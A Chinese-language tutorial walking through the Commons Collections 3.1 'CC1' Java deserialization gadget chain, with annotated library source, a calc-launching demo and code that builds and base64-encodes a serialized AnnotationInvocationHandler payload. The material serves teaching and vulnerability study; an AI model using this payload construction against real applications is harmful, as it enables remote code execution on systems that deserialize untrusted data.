前置条件
JDK: JDK
版本应该为8u71
之前
存档地址: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
利用链: TransformedMap
链
引入依赖: commons-collections3.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
TransformedMap
调用链分析
CommonsCollections1链实际上是对几个Transformer类进行分析利用
Demo
先给出一个简单的demo, 运行触发calc.exe
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo {
public static void main(String[] args) throws Exception {
// 数组的多态性:一个接口类型的数组可以包含该接口的所有实现类的实例。
Transformer[] transformers = new Transformer[]{
// 返回了一个Process对像
new ConstantTransformer(Runtime.getRuntime()),
// 调用exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 将上述两个转换器链接起来,形成一个转换链,以便后续按顺序执行每个转换器。
// 构建转换链本身不会立即执行转换,只有在实际调用 transform 方法时才会执行链中的转换逻辑。
// 如在 map 使用、迭代或序列化时存在transform方法调用进行值转换才会执行。
// The Map put methods and Map.Entry setValue method are affected by this class.
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 测试demo时使用chainedTransformer.transform(null);也可以触发利用链,实际利用中需要用到TransformedMap装饰器
Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
outerMap.put("key1","value1");
}
}
接下来分析Demo构造链利用的接口和类:
Transformer接口
// 定义了一组方法,但不提供具体的实现。
package org.apache.commons.collections;
// 对传入对象进行某种处理,返回一个对象
public interface Transformer {
Object transform(Object var1);
}
接口实现类 :
ConstantTransformer类
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
/**
* ConstantTransformer 是 Apache Commons Collections 库中的一个实现类,
* 它实现了 Transformer 接口并且可序列化。
* 该类用于返回一个固定的常量对象,无论输入是什么。
*/
public class ConstantTransformer implements Transformer, Serializable {
// 序列化版本UID,用于确保序列化和反序列化的一致性。
static final long serialVersionUID = 6374440726369055124L;
// 提供一个空实例,用于当常量为 null 时复用,避免创建多个空对象。
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
// 存储要返回的常量对象。
private final Object iConstant;
/**
* 获取一个 ConstantTransformer 实例。
* 如果传入的常量为 null,则返回预定义的 NULL_INSTANCE,否则创建一个新的实例。
*
* @param constantToReturn 要返回的常量对象
* @return ConstantTransformer 实例
*/
public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}
/**
* 构造函数,初始化要返回的常量对象。
*
* @param constantToReturn 要返回的常量对象
*/
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
/**
* 实现 Transformer 接口的 transform 方法。
* 无论输入对象是什么,始终返回预定义的常量对象。
*
* @param input 输入对象(在此方法中被忽略)
* @return 预定义的常量对象
*/
public Object transform(Object input) {
return this.iConstant;
}
/**
* 获取存储的常量对象。
*
* @return 预定义的常量对象
*/
public Object getConstant() {
return this.iConstant;
}
}
我们关注其中的构造方法和transform方法实现 (在分析ChainedTransformer时会理解为什么关注transform方法)
在Demo中,对ConstantTransformer类传入 Runtime.getRuntime()后,调用transform方法将返回一个Runtime实例
/**
* 构造函数,初始化要返回的常量对象。
*
* @param constantToReturn 要返回的常量对象
*/
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
/**
* 实现 Transformer 接口的 transform 方法。
* 无论输入对象是什么,始终返回预定义的常量对象。
*
* @param input 输入对象(在此方法中被忽略)
* @return 预定义的常量对象
*/
public Object transform(Object input) {
return this.iConstant;
}
InvokerTransformer类
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
/**
* InvokerTransformer 是 Apache Commons Collections 库中的一个实现类,
* 它实现了 Transformer 接口并且可序列化。
* 该类用于在运行时通过反射调用指定的方法。
*
* 例如,可以通过 InvokerTransformer 调用一个对象的特定方法,
* 并传递必要的参数,从而动态地改变对象的行为。
*/
public class InvokerTransformer implements Transformer, Serializable {
// 序列化版本UID,用于确保序列化和反序列化的一致性。
static final long serialVersionUID = -8653385846894047688L;
// 要调用的方法名称。
private final String iMethodName;
// 方法的参数类型数组。
private final Class[] iParamTypes;
// 方法的参数值数组。
private final Object[] iArgs;
/**
* 获取一个 InvokerTransformer 实例,仅指定方法名称。
*
* @param methodName 要调用的方法名称,不能为空。
* @return InvokerTransformer 实例。
* @throws IllegalArgumentException 如果 methodName 为 null。
*/
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
} else {
return new InvokerTransformer(methodName);
}
}
/**
* 获取一个 InvokerTransformer 实例,指定方法名称、参数类型和参数值。
*
* @param methodName 要调用的方法名称,不能为空。
* @param paramTypes 方法参数的类型数组。
* @param args 方法参数的值数组。
* @return InvokerTransformer 实例。
* @throws IllegalArgumentException 如果 methodName 为 null,或
* paramTypes 和 args 不匹配。
*/
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
// 检查 paramTypes 和 args 是否匹配
else if (paramTypes == null && args != null
|| paramTypes != null && args == null
|| paramTypes != null && args != null && paramTypes.length != args.length) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
// 如果有参数类型且参数类型数组不为空
else if (paramTypes != null && paramTypes.length != 0) {
// 克隆参数类型和参数值数组以避免外部修改
paramTypes = (Class[])paramTypes.clone();
args = (Object[])args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
// 如果没有参数类型
else {
return new InvokerTransformer(methodName);
}
}
/**
* 构造函数,仅指定方法名称。
* 适用于无参数的方法调用。
*
* @param methodName 要调用的方法名称。
*/
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
/**
* 构造函数,指定方法名称、参数类型和参数值。
* 适用于有参数的方法调用。
*
* @param methodName 要调用的方法名称。
* @param paramTypes 方法参数的类型数组。
* @param args 方法参数的值数组。
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
/**
* 实现 Transformer 接口的 transform 方法。
* 通过反射调用指定对象的指定方法,并传递参数。
*
* @param input 要调用方法的目标对象。
* @return 方法调用的结果。
* @throws FunctorException 如果方法不存在、不可访问,或调用时发生异常。
*/
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
// 获取输入对象的类
Class cls = input.getClass();
// 获取指定的方法对象
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
// 调用方法并返回结果
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
// 如果方法不存在,抛出 FunctorException 异常
throw new FunctorException("InvokerTransformer: The method '"
+ this.iMethodName + "' on '" + input.getClass()
+ "' does not exist");
} catch (IllegalAccessException var6) {
// 如果方法不可访问,抛出 FunctorException 异常
throw new FunctorException("InvokerTransformer: The method '"
+ this.iMethodName + "' on '" + input.getClass()
+ "' cannot be accessed");
} catch (InvocationTargetException var7) {
// 如果方法调用时发生异常,抛出 FunctorException 异常并包含原始异常
throw new FunctorException("InvokerTransformer: The method '"
+ this.iMethodName + "' on '" + input.getClass()
+ "' threw an exception", var7);
}
}
}
}
同样,关注其中的构造方法和transform方法实现
在Demo中,对InvokerTransformer类传入三个参数 exec , new Class[]{String.class} , new Object[]{"calc"} 后,调用transform方法将返回执行结果。
/**
* 构造函数,指定方法名称、参数类型和参数值。
* 适用于有参数的方法调用。
*
* @param methodName 要调用的方法名称。 ----exec
* @param paramTypes 方法参数的类型数组。 ----new Class[]{String.class}
* @param args 方法参数的值数组。 ----new Object[]{"calc"}
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
/**
* 实现 Transformer 接口的 transform 方法。
* 通过反射调用指定对象的指定方法,并传递参数。
*
* @param input 要调用方法的目标对象。
* @return 方法调用的结果。
* @throws FunctorException 如果方法不存在、不可访问,或调用时发生异常。
*/
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
// 获取输入对象的类
Class cls = input.getClass();
// 获取指定的方法对象
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
// 调用方法并返回结果
return method.invoke(input, this.iArgs);
}
// catch部分省略...
}
}
}
ChainedTransformer
类
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;
/**
* ChainedTransformer 是 Apache Commons Collections 库中的一个实现类,
* 它实现了 Transformer 接口并且可序列化。
* 该类用于将多个 Transformer 链接起来,按顺序依次执行每个转换器。
* 通过 ChainedTransformer,可以组合多个转换逻辑,实现复杂的对象转换过程。
*
* 例如,可以将输入对象依次通过一系列转换器处理,每个转换器对对象进行特定的转换,
* 最终得到转换后的结果。
*/
public class ChainedTransformer implements Transformer, Serializable {
// 序列化版本UID,用于确保序列化和反序列化的一致性。
static final long serialVersionUID = 3514945074733160196L;
// 存储一系列 Transformer 的数组,这些 Transformer 将被按顺序执行。
private final Transformer[] iTransformers;
/**
* 静态工厂方法,用于根据 Transformer 数组创建一个 ChainedTransformer 实例。
*
* @param transformers 要链接的 Transformer 数组,不能为空。
* @return 一个新的 ChainedTransformer 实例。
* @throws IllegalArgumentException 如果 transformers 数组中包含 null 元素。
*/
public static Transformer getInstance(Transformer[] transformers) {
// 验证 transformers 数组中是否有 null 元素,如果有则抛出异常。
FunctorUtils.validate(transformers);
// 如果 transformers 数组为空,则返回一个无操作的 Transformer 实例。
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
} else {
// 复制 transformers 数组,确保外部对原数组的修改不会影响此实例。
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
}
/**
* 静态工厂方法,用于根据 Transformer 集合创建一个 ChainedTransformer 实例。
*
* @param transformers 要链接的 Transformer 集合,不能为空。
* @return 一个新的 ChainedTransformer 实例。
* @throws IllegalArgumentException 如果 transformers 集合为 null 或包含 null 元素,
* 或者 transformers 数组和 args 数组的长度不匹配。
*/
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
} else if (transformers.size() == 0) {
// 如果集合为空,则返回一个无操作的 Transformer 实例。
return NOPTransformer.INSTANCE;
} else {
// 将集合转换为 Transformer 数组。
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for (Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer) it.next()) {
// 遍历集合,将每个 Transformer 添加到数组中。
}
// 验证 transformers 数组中是否有 null 元素,如果有则抛出异常。
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}
}
/**
* 静态工厂方法,用于根据两个 Transformer 创建一个 ChainedTransformer 实例。
*
* @param transformer1 第一个 Transformer,不能为空。
* @param transformer2 第二个 Transformer,不能为空。
* @return 一个新的 ChainedTransformer 实例,包含 transformer1 和 transformer2。
* @throws IllegalArgumentException 如果 transformer1 或 transformer2 为 null。
*/
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 != null && transformer2 != null) {
// 创建一个包含两个 Transformer 的数组。
Transformer[] transformers = new Transformer[]{transformer1, transformer2};
return new ChainedTransformer(transformers);
} else {
throw new IllegalArgumentException("Transformers must not be null");
}
}
/**
* 构造函数,初始化 ChainedTransformer 实例。
*
* @param transformers 要链接的 Transformer 数组,不能为空。
*/
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
/**
* 实现 Transformer 接口的 transform 方法。
* 按照定义的顺序,依次执行每个 Transformer 对输入对象进行转换。
*
* @param object 要转换的输入对象。
* @return 转换后的对象,经过所有 Transformer 处理后的最终结果。
*/
public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
// 依次应用每个 Transformer,更新 object 的值。
object = this.iTransformers[i].transform(object);
}
return object;
}
/**
* 获取存储的 Transformer 数组。
*
* @return Transformer 数组,包含所有链接的 Transformer。
*/
public Transformer[] getTransformers() {
return this.iTransformers;
}
}
继续关注构造方法和transform方法实现
在Demo中,传入转换器数组进行链式处理,一旦调用ChainedTransformer实例的transform方法,即可遍历更新调用数组中的各实例的transform方法,完成调用链。Demo截止ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 未触发实例
所以还需要后续的TransformedMap进行装饰。(或者如前面所描述可以直接chainedTransformer.transform(null);测试)
/**
* 构造函数,初始化 ChainedTransformer 实例。
*
* @param transformers 要链接的 Transformer 数组,不能为空。
*/
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
/**
* 实现 Transformer 接口的 transform 方法。
* 按照定义的顺序,依次执行每个 Transformer 对输入对象进行转换。
*
* @param object 要转换的输入对象。
* @return 转换后的对象,经过所有 Transformer 处理后的最终结果。
*/
public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
// 依次应用每个 Transformer,更新 object 的值。
object = this.iTransformers[i].transform(object);
}
return object;
}
TransformedMap类
package org.apache.commons.collections.map;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;
/**
* TransformedMap 是 Apache Commons Collections 库中的一个实现类,
* 它装饰(decorate)一个现有的 Map,并在插入键或值时应用转换器(Transformer)。
* 通过使用 Transformer,可以在将键或值放入 Map 之前对其进行转换,
* 或在从 Map 中获取值时对其进行转换。
*
* 此类实现了 Serializable 接口,允许其实例被序列化和反序列化。
*/
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
// 序列化版本UID,用于确保序列化和反序列化的一致性。
private static final long serialVersionUID = 7023152376788900464L;
// 用于转换键的 Transformer,可能为 null 表示不转换键。
protected final Transformer keyTransformer;
// 用于转换值的 Transformer,可能为 null 表示不转换值。
protected final Transformer valueTransformer;
/**
* 静态工厂方法,用于创建一个装饰过的 TransformedMap。
*
* @param map 要装饰的原始 Map,不能为空。
* @param keyTransformer 用于转换键的 Transformer,可以为 null。
* @param valueTransformer 用于转换值的 Transformer,可以为 null。
* @return 装饰过的 TransformedMap。
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
/**
* 构造函数,初始化 TransformedMap。
*
* @param map 要装饰的原始 Map,不能为空。
* @param keyTransformer 用于转换键的 Transformer,可以为 null。
* @param valueTransformer 用于转换值的 Transformer,可以为 null。
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
/**
* 自定义序列化方法,用于写入对象。
*
* @param out ObjectOutputStream 输出流。
* @throws IOException 如果发生 I/O 错误。
*/
private void writeObject(ObjectOutputStream out) throws IOException {
// 使用默认的序列化机制序列化非 transient 字段。
out.defaultWriteObject();
// 序列化被装饰的原始 Map。
out.writeObject(super.map);
}
/**
* 自定义反序列化方法,用于读取对象。
*
* @param in ObjectInputStream 输入流。
* @throws IOException 如果发生 I/O 错误。
* @throws ClassNotFoundException 如果找不到类。
*/
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
// 使用默认的反序列化机制反序列化非 transient 字段。
in.defaultReadObject();
// 反序列化被装饰的原始 Map。
super.map = (Map) in.readObject();
}
/**
* 转换键对象的方法。如果 keyTransformer 不为 null,则应用转换器;否则返回原始键。
*
* @param object 原始键对象。
* @return 转换后的键对象。
*/
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
/**
* 转换值对象的方法。如果 valueTransformer 不为 null,则应用转换器;否则返回原始值。
*
* @param object 原始值对象。
* @return 转换后的值对象。
*/
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
/**
* 转换整个 Map 的方法。遍历原始 Map 的所有条目,
* 对每个键和值应用相应的转换器,并将结果放入新的 Map 中。
*
* @param map 原始 Map。
* @return 转换后的新 Map。
*/
protected Map transformMap(Map map) {
// 创建一个新的 LinkedMap,容量与原始 Map 相同。
Map result = new LinkedMap(map.size());
// 获取原始 Map 的条目集合的迭代器。
Iterator it = map.entrySet().iterator();
// 遍历所有条目并应用转换器。
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next();
// 将转换后的键和值放入结果 Map 中。
result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
}
return result;
}
/**
* 检查并转换要设置的新值的方法。应用 valueTransformer 转换新值。
*
* @param value 要设置的新值对象。
* @return 转换后的新值对象。
*/
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
/**
* 检查是否启用了值转换的方法。如果 valueTransformer 不为 null,则返回 true。
*
* @return 如果启用了值转换,则返回 true;否则返回 false。
*/
protected boolean isSetValueChecking() {
return this.valueTransformer != null;
}
/**
* 重写 put 方法,在插入键和值之前应用转换器。
*
* @param key 要插入的键对象。
* @param value 要插入的值对象。
* @return 原 Map 中键对应的旧值。
*/
public Object put(Object key, Object value) {
// 转换键和对应的值。
key = this.transformKey(key);
value = this.transformValue(value);
// 将转换后的键和值插入到原 Map 中。
return this.getMap().put(key, value);
}
/**
* 重写 putAll 方法,在批量插入键和值之前应用转换器。
*
* @param mapToCopy 要复制的 Map。
*/
public void putAll(Map mapToCopy) {
// 转换整个要复制的 Map。
mapToCopy = this.transformMap(mapToCopy);
// 将转换后的 Map 插入到原 Map 中。
this.getMap().putAll(mapToCopy);
}
}
如上所说目的是为了触发ChainedTransformer实例的transform方法用以启动调用链。我们在TransformedMap
源码中搜索transform发现:
transformKey ,transformValue, checkSetValue三个方法存在transform调用。
/**
* 转换键对象的方法。如果 keyTransformer 不为 null,则应用转换器;否则返回原始键。
*
* @param object 原始键对象。
* @return 转换后的键对象。
*/
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
/**
* 转换值对象的方法。如果 valueTransformer 不为 null,则应用转换器;否则返回原始值。
*
* @param object 原始值对象。
* @return 转换后的值对象。
*/
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
/**
* 检查并转换要设置的新值的方法。应用 valueTransformer 转换新值。
*
* @param value 要设置的新值对象。
* @return 转换后的新值对象。
*/
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
// put 方法和 setValue 方法 (反序列化中会用到) 均能触发利用链
这里的利用我们只讨论Demo中put的调用过程。再次搜索三个方法,继续跟进,可以看到在put方法中value = this.transformValue(value);间接达到了 this.valueTransformer.transform(object); 效果。
/**
* 重写 put 方法,在插入键和值之前应用转换器。
*
* @param key 要插入的键对象。
* @param value 要插入的值对象。
* @return 原 Map 中键对应的旧值。
*/
public Object put(Object key, Object value) {
// 转换键和对应的值。
key = this.transformKey(key);
value = this.transformValue(value);
// 将转换后的键和值插入到原 Map 中。
return this.getMap().put(key, value);
}
回到Demo: Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
由上分析知道调用put方法,需要一个Map或Map子类实现了put方法的实例对象,decorate返回的是一个Map类型对象,根据decorate对参数的要求,以及后续对序列化时要求(即需要实现Serializable接口才能被序列化),选择HashMap实例作为第一个参数(同时HashMap的兼容性好,且为一个可变的 Map
实现)。第二个参数可置空,因为在上面分析中最终put方法里触发transformValue只和值有关。第三个参数即为将要通过transform转换成值的ChainedTransformer实例。
Demo利用链过程总结
TransformedMap.put --> TransformedMap.transformValue --> ChainedTransformer.transform --> Transformer[] new ConstantTransformer(Runtime.getRuntime() --> Transformer[] new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}
反序列化利用链
Demo构造链是本地手动触发,实际利用需要在反序列化过程自动触发命令执行。那么我们的构造链应该需要被序列化处理。
Runtime无法直接被序列化问题
java.lang.Runtime
类遵循 单例模式 。在整个 Java 虚拟机(JVM)生命周期内,只有一个 Runtime
实例存在。只能通过其提供的静态方法来获取该唯一实例。以及Runtime类没有实现序列化接口,导致序列化过程中直接使用Runtime.getRuntime不可行。
我们知道Class类实现了Serializable
接口,那么可以通过Transformer + ChainedTransformer的链式调用进行反射达到相同效果
Transformer[] transformers = new Transformer[]{
// 获取Runtime类的class对象
new ConstantTransformer(Class.forName("java.lang.Runtime")),
// getRuntime方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
// 创建ChainedTransformer对象
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 对map进行赋值
innerMap.put("value", "aaa");
// 创建TransformedMap对象
Map outerMap = TransformedMap.decorate(innerMap,null, chainedTransformer);
AnnotationInvocationHandler类利用
我们需要找到一个可以用的类的readObject()
方法,通过这个方法最终可以触发漏洞。
这个类是sun.reflect.annotation.AnnotationInvocationHandle
/**
* AnnotationInvocationHandler类实现了InvocationHandler接口,用于动态代理注解。
* 该类主要负责处理注解方法的调用,并在序列化和反序列化过程中维护注解的成员值。
*/
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
// 注解的类型
private final Class<? extends Annotation> type;
// 注解成员的值,键为成员名称,值为成员对应的值
private final Map<String, Object> memberValues;
// 缓存的注解成员方法
private transient volatile Method[] memberMethods = null;
/**
* 构造方法,用于创建一个AnnotationInvocationHandler实例。
*
* @param var1 注解的Class对象,必须是一个注解类型
* @param var2 包含注解成员值的Map,键为成员名称,值为成员值
* @throws AnnotationFormatError 如果传入的Class对象不是注解类型
*/
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
// 获取var1的所有接口
Class[] var3 = var1.getInterfaces();
// 检查var1是否为注解类型,并且仅实现了一个接口且该接口为Annotation.class
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
// 如果不是注解类型,则抛出格式错误异常
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
/**
* 中间方法省略......
*/
/**
* 在反序列化时读取对象,并进行安全验证。
*
* @param var1 ObjectInputStream对象
* @throws IOException 如果发生IO异常
* @throws ClassNotFoundException 如果类未找到
* @throws InvalidObjectException 如果对象验证失败
*/
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
// 调用默认的反序列化方法,恢复对象的非transient字段
var1.defaultReadObject();
// 初始化AnnotationType变量,用于存储注解类型的内部表示
AnnotationType var2 = null;
try {
// 获取注解类型的AnnotationType实例
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
// 如果获取AnnotationType实例时出现非法参数异常,说明序列化流中包含的不是注解类型
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// 获取注解类型的成员类型映射,键为成员名称,值为成员类型Class对象
Map var3 = var2.memberTypes();
// 获取memberValues中的所有成员(键值对)的迭代器
Iterator var4 = this.memberValues.entrySet().iterator();
// 遍历所有的成员值,进行类型验证
while(var4.hasNext()) {
// 获取当前的成员键值对
Map.Entry var5 = (Map.Entry)var4.next();
// 获取成员的名称(键)
String var6 = (String)var5.getKey();
// 获取该成员对应的类型Class对象
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
// 获取成员的值
Object var8 = var5.getValue();
// 检查成员值是否与成员类型匹配,或者成员值是否是ExceptionProxy的实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
// 如果不匹配,则创建一个AnnotationTypeMismatchExceptionProxy对象,并设置相关成员
var5.setValue(
(new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]"))
.setMember((Method)var2.members().get(var6))
);
}
}
}
}
要构造出一个可用的AnnotationInvocationHandler实例
跟踪构造方法,寻找可用传入参数:
* @param var1 注解的Class对象,必须是一个注解类型
* @param var2 包含注解成员值的Map,键为成员名称,值为成员值
查看可用注解
由上面代码分析,注解中需要有一个方法。符合条件的有@Repeatable @Target
要想触发chainedTransformer.transformer回调,需要触发AnnotationInvocationHandler的setValue方法
最终构造如下:
// 反射, 利用AnnotationInvocationHandler类的readObject方法触发transformer
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造器
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建AnnotationInvocationHandler实例 (此类中存在readObject方法重写触发transformer)
Object handler = constructor.newInstance(Repeatable.class, outerMap);
byte[] bytes = serialize(handler);
// base64输出
System.out.println(Base64.getEncoder().encodeToString(bytes));
setValue原因方法分析
setValue方法参考 https://xz.aliyun.com/t/12692?time__1311=GqGxuDRiqCwxlrzG77Yi%3DQK0ILO7DmuDpD#toc-7